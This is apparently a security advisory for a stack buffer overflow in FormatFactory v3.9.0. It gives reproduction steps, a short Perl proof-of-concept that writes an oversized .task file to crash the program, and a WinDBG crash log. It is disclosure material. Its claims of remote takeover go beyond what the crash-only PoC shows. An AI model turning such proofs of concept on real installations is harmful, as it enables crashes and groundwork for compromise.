FormatFactory is a type conversion software released as Freeware by Free Time only available on Windows. It can convert video files as well as audio and image files. It is also able to rip DVDs and CDs in other formats such as .iso image file. It can convert .flv files while many video conversion software does not support this feature.
Technical Details & Description:
================================
A local stack buffer overflow vulnerability has been discovered in the official FormatFactory v3.9.0 software.
The overflow vulnerability allows remote attackers to take-over the process by overwrite of the active registers.
A wrong validation check while loading a file (.task) results in a classic stack overflow that crashs the program.
Remote attacker are finally able to overwrite for example the eip to control the vulnerable software process.
The file format request in the software engine has no restriction of inputs or memory, when processing to request
local .task files to queue.
The security risk of the issue is estimated as high with a cvss (common vulnerability scoring system) count of 6.0.
Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction.
Successful exploitation of the vulnerability results in computer system manipulation and compromise of the computer system.
Vulnerable File(s):
[+] .task
Proof of Concept (PoC):
=======================
A local buffer overflow vulnerability can be exploited by local attackers without user interaction and with low privileged system user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Launch FormatFactoryr.exe
2. Run the code in perl and a file format (.task) will create
3. Click Spot - Task Load File
4. Click on Video and MP4
5. Click the button OK
6. Software crash permanently
7. Successfully reproduce of the local buffer overflow vulnerability!
PoC: Exploit Code (Perl)
#!/usr/bin/perl
my $Buff = "x41" x 5000;
open(MYFILE,'>>FormatFactory.task');
print MYFILE $Buff;
close(MYFILE);
print "PoC by ZwX";
--- Debug Session Logs [WinDBG] ---
Stack buffer overflow - code c0000409
eax=00000001 ebx=00000001 ecx=00000005 edx=77ae13f0 esi=015a9a18 edi=00000111
eip=548e46a9 esp=015a9198 ebp=015a91b0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
*** ERROR: Symbol file could not be found.
Defaulted to export symbols for C:Program FilesFormatFactoryMSVCR120.dll - MSVCR120!invoke_watson+0xe:
548e46a9 cd29 int 29h
EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)
ExceptionAddress: 548e46a9 (MSVCR120!invoke_watson+0x0000000e)
ExceptionCode: c0000409 (Stack buffer overflow)
ExceptionFlags: 00000001
NumberParameters: 1
Parameter[0]: 00000005
FAULTING_THREAD: 00000890
BUGCHECK_STR: STACK_OVERRUN
PROCESS_NAME: FormatFactory.exe
FAULTING_MODULE: 77a50000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP: 524f7ce6
ERROR_CODE: (NTSTATUS) 0xc0000409 - Le syst me a d tect la saturation de la m moire tampon dans cette application.
Cette saturation pourrait permettre un utilisateur mal intentionn de prendre le contr le de cette application.
DEFAULT_BUCKET_ID: WRONG_SYMBOLS
LAST_CONTROL_TRANSFER: from 548e467c to 548e46a9
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
015a91b0 548e467c MSVCR120!invoke_watson+0xe
015a91d4 54873600 MSVCR120!invalid_parameter_noinfo+0xc
015a91f0 00e802ee MSVCR120!swprintf_s+0x17
015aa0b8 00410041 FormatFactory!boost::asio::io_service::service::fork_service+0x9a6e
015aa0bc 00410041 0x410041
015aa0c0 00410041 0x410041
015aa0c4 00410041 0x410041
015aa0c8 00410041 0x410041
015aa0cc 00410041 0x410041
015aa0d0 00410041 0x410041
015aa0d4 00410041 0x410041
015aa0d8 00410041 0x410041
015aa0dc 00410041 0x410041
015aa0e0 00410041 0x410041
015aa0e4 00410041 0x410041
015aa0e8 00410041 0x410041
015aa0ec 00410041 0x410041
015aa0f0 00410041 0x410041
015aa0f4 00410041 0x410041
015aa0f8 00410041 0x410041
0:000> d esi
015a9a18 00 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
015a9a28 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
015a9a38 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
015a9a48 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
015a9a58 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
015a9a68 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
015a9a78 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
015a9a88 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
Domain: www.zwx.fr
Contact: msk4@live.fr
Social: twitter.com/XSSed.fr
Feeds: www.zwx.fr/feed/
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
packetstormsecurity.com/files/author/12026/
0day.today/author/27461
